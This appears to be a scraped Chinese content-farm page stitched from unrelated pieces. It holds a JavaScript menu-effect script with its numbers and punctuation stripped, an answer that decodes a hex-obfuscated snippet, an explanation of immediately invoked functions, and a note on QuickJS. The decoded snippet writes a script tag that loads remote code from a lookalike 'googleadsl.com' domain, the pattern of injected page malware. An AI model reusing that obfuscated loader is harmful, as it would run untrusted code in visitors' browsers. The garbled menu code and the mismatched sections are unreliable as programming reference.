JS特效代码--一个很Cool的JS菜单效果

JS特效代码--一个很Cool的JS菜单效果,第1张

 <script>

 function CoolMenuControl(){

 // 常规变量 this lastScrollX= ; this lastScrollY= ; this lastScrollW= ; this lastScrollH= ; this td_X= ; this td_Y= ; this td_W= ; this td_H= ; this td= ; this mouseon= ; this current=null this _name; this table_name; this menudiv_name; this menutable_name; this ml= ; this menuarray=new Array(); this speed; this href="";

 // 菜单项目 function menuitem(type value url target){ this type=type this value=value this url=url this target=target }

 // 插入菜单 this insertmenu=function(type value url target){  this menuarray[this menuarray length]=new menuitem(type value url target) }

 // 程序初试化 this init=function(name bdc bgc speed Alpha){  var in="" var cellcount= var lastcellcount= this _name=name+"" this table_name=name+"table" this menudiv_name=name+"menudiv" this menutable_name=name+"menutable" this speed=speed

 for (i= ;i<this menuarray length;i++)  {  if (this menuarray[i] type==" ") cellcount=cellcount+  if (this menuarray[i] type==" " || this menuarray[i] type==" ") {cellcount= }  if (lastcellcount<cellcount) {lastcellcount++}    }

 //alert(cellcount)

 stylecode="cursor:hand;filter:Alpha(style= opacity="+Alpha+");background color:"+bgc

 suspendcode="<DIV id="+this _name+" style= POSITION:absolute; onclick= "+name+" doClick() >"  +"<table id="+this table_name+" border= width= cellspacing= style= border collapse: collapse bordercolor= "+bdc+" >"  +"<tr><td height= style= "+stylecode+" ></td></tr></table></div>"; document write(suspendcode); var fcell=true for (i= ;i<this menuarray length;i++) {  switch(this menuarray[i] type)  {  case " ":  t=cellcount  if (t<= )   {  in+= <tr><td colspan= class=ht onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value  }  else  {  in+= <tr><td colspan= +t+ class=ht onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value  }  fcell=true  break;  case " ":  t=(cellcount )  if (t<= )   {  in+= <tr><td width= ><td onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value  }  else  {  in+= <tr><td width= ><td colspan= +t+ onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value  }  fcell=true  break;    case " ":  if (fcell)  {  in+= <tr><td width= ><td onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value;  fcell=false  }  else  {  in+= <td width= ><td onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value;  }  break;  } } in= <div id= +this menudiv_name+ onmousemove=" +name+ doOver()">  + <table id= +this menutable_name+ border= cellpadding=" " class="menu" cellspacing=" ">  +in  + </table></div> ; //alert(in) document write(in);

 this lastScrollX= ; this lastScrollY= ; this posXY(eval(this menutable_name) cells[ ]) this td_W=eval(this menutable_name) cells[ ] scrollWidth+   this td_H=eval(this menutable_name) cells[ ] scrollHeight setInterval(name+" scrollback()" ) }

 // 单击超连接 this doClick=function(){  //alert(this url)  var url=this href split(" ")  //alert(url[ ])  //alert(url[ ]) if (url[ ]=="") return

 if (url[ ]=="_blank")  {window open(url[ ])}  else  {location href=url[ ]} }

 // 滑动处理 this scrollback=function(){ diffX=this td_X diffY=this td_Y diffW=this td_W diffH=this td_H percentX=this speed(diffX this lastScrollX); percentY=this speed(diffY this lastScrollY); percentW=this speed(diffW this lastScrollW); percentH=this speed(diffH this lastScrollH);

 if(percentX> )percentX=Math ceil(percentX); else percentX=Math floor(percentX); if(percentY> )percentY=Math ceil(percentY); else percentY=Math floor(percentY); if(percentW> )percentW=Math ceil(percentW); else percentW=Math floor(percentW); if(percentH> )percentH=Math ceil(percentH); else percentH=Math floor(percentH);

 eval(this _name) style pixelTop+=percentY; eval(this _name) style pixelLeft+=percentX; eval(this table_name) style pixelWidth+=percentW; eval(this table_name) style pixelHeight+=percentH;

 this lastScrollX=this lastScrollX+percentX; this lastScrollY=this lastScrollY+percentY; this lastScrollW=this lastScrollW+percentW; this lastScrollH=this lastScrollH+percentH; }

 // 滑出 this doOver=function() {  if (event srcElement tagName=="TD") {  if (event srcElement innerText length== || event srcElement innerText=="|") return  this posXY(event srcElement)  this td_W=event srcElement scrollWidth+    this td_H=event srcElement scrollHeight  } }

 // 绝对定位 this posXY=function(obj){  _left=obj offsetLeft  _top=obj offsetTop  vParent = obj offsetParent;    while (vParent tagName toUpperCase() != "BODY")  {  _left += vParent offsetLeft;  _top += vParent offsetTop;  vParent = vParent offsetParent;  }    this td_X=_left  this td_Y=_top }

 // 关于 this about=function(){ alert("OK") }

 } </script>

 <head> <meta equiv="Content Language" content="zh cn"> <style> b{color=# ;cursor:hand} menu { font family:Arial; cursor:Default; font size: px; border: px # solid; border collapse: collapse; filter:progid:DXImageTransform Microsoft Gradient(gradienttype= startcolorstr=#ffffff endcolorstr=#dddddd)  progid:DXImageTransform Microsoft Shadow(direction= color=#cccccc strength= ); } ht{ font weight:bold } </style> <! 第一步 实体化X Menu类  用法:  var <实体变量> new CoolMenuControl() > <script language="javascript"> var CoolMenu =new CoolMenuControl() var about=new Array() about[ ]="关于X Menu菜单nnAuthor:PuterJamnCopyright n转载请通知本人" about[ ]="关于作者nn"这家伙很懒 什么也没留下!!"

 </script> </head> <body> <! 第二步 建立菜单项目    用法:  <实体变量> insertmenu(类型 Html代码 链接网址 目标)   类型 0代表菜单标题 1代表树型菜单子项目 2代表横向菜单子项目   Html代码 显示在菜单上的Html代码  链接网址 不用多说了 网址或Javascript脚本  目标 默认为空 既不在本页打开 "_blank"代表在新的页面打开 例如:   CoolMenu insertmenu(" " "<img src=// blueidea /img/icon/arrow gif> 新浪网" " "_blank") > <script> CoolMenu insertmenu(" " "本站首页" "" "") CoolMenu insertmenu(" " "新闻中心" " "_blank") CoolMenu insertmenu(" " "文章中心" " "_blank") CoolMenu insertmenu(" " "欣赏" " "_blank") CoolMenu insertmenu(" " "软件下载" " "_blank") CoolMenu insertmenu(" " "娱乐欣赏" " "_blank") </script>

lishixinzhi/Article/program/Java/JSP/201311/19958

这段代码是十六进制,你可以这样翻译一下

<Script language="javascript">

alert("\x64\x6f\x63\x75\x6d\x65\x6e\x74");

alert("\x77\x72\x69\x74\x65");

alert("\x3c\x53\x43\x52\x49\x50\x54 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x61\x64\x73\x6c\x2e\x63\x6f\x6d\x2f\x73\x70\x63\x6f\x64\x65\x2f\x6a\x71\x75\x65\x72\x79\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");

</Script>

结果就是加载了这段代码

(function(index){

// 处理代码

})(i);

楼主一定对上面的代码是怎么执行的完全不明白。在弄清楚为什么去掉i后就没有效果,你必须得先知道这个i到底为什么不能去掉,这种写法又到底是怎么回事。

其实这是一种函数立即调用的写法。也就是定义一个匿名函数,然后立即就执行这个函数。这样的写法相当于:

function tmpName(index){

// 处理代码

}

tmpName(i);

再接近一点的写法如下:

var fn = function(index){

// 处理代码

}

// 函数调用

fn(i);

你把上面的fn换成function(index){},是不是就是和你的那种写法一样了?只不过换后的函数省去了函数名。

很明显,index是形参,而i是在调用时传递的实参。如果不穿进去一个i,那就相当index参数没有了。这样的话,这个函数中用到的index的值就是null。试想,mDD[index]就变成了mDD[null],数组访问可以这样吗?这样不就出异常了吗?也是因此,不传进去i,会导致异常,会出错。

答案:是的,QuickJS 可以使用与 JavaScript 相关的生态。

解释:QuickJS 是一个轻量级的 JavaScript 引擎,由 Fabrice Bellard 和 Charlie Gordon 开发。它支持 ECMAScript 2019 标准,因此可以运行大多数现代 JavaScript 代码。尽管 QuickJS 主要用于嵌入式系统和脚本执行,但它仍然可以使用许多 JavaScript 生态系统中的库和工具。

拓展内容:

1 库和框架:QuickJS 可以使用许多常见的 JavaScript 库和框架,例如 Lodash、Momentjs 等。但是,需要注意的是,某些库可能依赖于特定的运行时环境(如浏览器或 Nodejs),在这种情况下,它们可能无法在 QuickJS 中正常工作。

2 模块系统:QuickJS 支持 ECMAScript 模块(ESM),这意味着您可以使用现代的模块导入和导出语法。然而,它不支持 Nodejs 的 CommonJS 模块系统,因此在使用某些库时可能需要进行转换。

3 限制:由于 QuickJS 主要用于嵌入式系统,因此它可能无法支持某些特定于浏览器或 Nodejs 的功能,例如 DOM 操作或网络请求。在这种情况下,您可能需要寻找替代方案或使用适用于 QuickJS 的库。

总之,QuickJS 可以使用 JavaScript 生态系统中的许多资源,但在使用过程中可能会遇到一些限制。在选择库和工具时,请确保它们与 QuickJS 兼容。

欢迎分享,转载请注明来源:浪漫分享网

原文地址:https://hunlipic.com/jiehun/11648870.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-12-05
下一篇2023-12-05

发表评论

登录后才能评论

评论列表(0条)

    保存